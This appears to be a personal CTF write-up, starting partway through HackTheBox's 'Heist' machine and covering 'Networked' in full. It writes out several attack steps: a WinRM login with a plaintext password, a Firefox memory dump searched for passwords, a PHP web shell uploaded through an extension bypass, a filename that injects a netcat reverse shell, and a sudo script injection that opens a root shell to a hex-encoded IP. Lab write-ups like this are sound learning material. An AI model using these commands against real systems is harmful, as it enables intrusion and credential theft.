Next, use auxiliary/scanner/winrm/winrm_login from Metasploit to check those usernames/passwords – or check them manually if you are not lazy like me ;-)

We now have another set of valid credentials which we can use to login via Windows Remote Management on port 5985. For this I used evil-winrm which gives a Powershell on the machine.

  ruby evil-winrm.rb -i -u Chase -p 'Q4)sJu\Y8qz*A3?d'

And with that we have the user.txt.


For root, we check Get-Process to see that firefox is running, something not very usual on a server, even less a HackTheBox machine.
The way to get root on this box is by making a dump of the firefox process and looking through it for any kind of login information or passwords.

First we get procdump64.exe from Windows Sysinternals and serve it on our attacker machine, and then download it on the box:

(New-Object Net.WebClient).DownloadFile("", "C:\Users\chase\Documents\procdump64.exe")

And run it on the firefox process by finding firefox’s PID:

 .\procdump64.exe -accepteula -ma PID

(-accepteula is only necessary the first time you run it).

This will create a rather large dump file (400MB+) that can be a pain to sift through. There are a few ways to do that, I’ll detail two of them here. First is to download the file to our attacker box and use strings on it (evil-winrm has a built-in download function) and grepping for ‘password’.

The second and faster way is to download strings64.exe from Windows Sysinternals and running it on the box with:

./strings64.exe -accepteula firefox.exe.dmp | % { if($_ -match "password") {echo $_} }

| % { if($_ -match “password”) {echo $_} } is the Windows Powershell way of running grep. Linux is so much easier…
It is also possible to use this command to grep: sls password ./firefox.exe.dmp -ca, but I found the screen to scroll by too fast to actually find the password, and the frame buffer too small so I couldn’t scroll that far back.

Finally with our new password we can login as administrator with evil-winrm and get root.txt.

All in all it’s a rather easy and quick machine if you know what you’re doing. I didn’t, and needed hints on the HTB forum several times. But I did learn a lot about Windows enumeration and exploitation, which should make future Windows machines just a little easier.

HackTheBox Networked

‘Networked’ is rated as an easy machine on HackTheBox


The usual nmap scan revealed the following open ports:

Running gobuster on port 80 revealed a few endpoints, the most interesting one being /backup which had a tarred backup file which included all the PHP files the server was running on port 80. Running those files in a local server revealed how the file upload process in /upload.php worked, and how to bypass the file type restriction by naming the uploaded file shell.php.png
With this, I was able to upload a PHP reverse shell on the live machine:

<?php system($_GET['cmd']); ?>

and I had the initial foothold.

Unfortunately there wasn’t much I could do as this user, so it was time to escalate to the other user on the box, ‘Guly’. In that user’s home folder I found a script that periodically went through all files in /var/www/html/uploads and acted on the filename of any files there. Since there was no sanitising of the input to the script, creating a file containing a bash pipe character as filename would allow me to break out of the current command, and run arbitrary commands. Creating such a file can be a little tricky, but using quotes allowed me to escape the pipe character and create the following file:

touch  '; nc -nv 9001 -c bash;'

When the script parses this file, the ; causes it to end the current command and then run netcat, creating a reverse shell to my machine.
As ‘Guly’, I could now read user.txt.


Running ‘sudo -l’ as ‘Guly’ revealed that I could run a script called changename.sh password-less. Playing around with this script, which appeared to allow renaming of a network adapter, I found out that every input after ‘space’ got interpreted as a command. However, the script blacklisted most symbols including dots, meaning I couldn’t just use ‘cat /root/root.txt’. Nor would the usual bash reverse shell work, as it expects the IP address as the usual xxx.xxx.xxx.xxx.

Here’s a little-known feature of Netcat: instead of using the usual IP notation, it also accepts it in Hex. Using an online calculator, I translated my IP to Hex and introduced the following command in changename.sh:

pleaseconnectmetothisaddress nc -e /bin/sh 0x0A0A0E67 9001

The silly first part was required because the command didn’t get interpreted until after the first space.
Now I had a reverse root shell, and could read root.txt.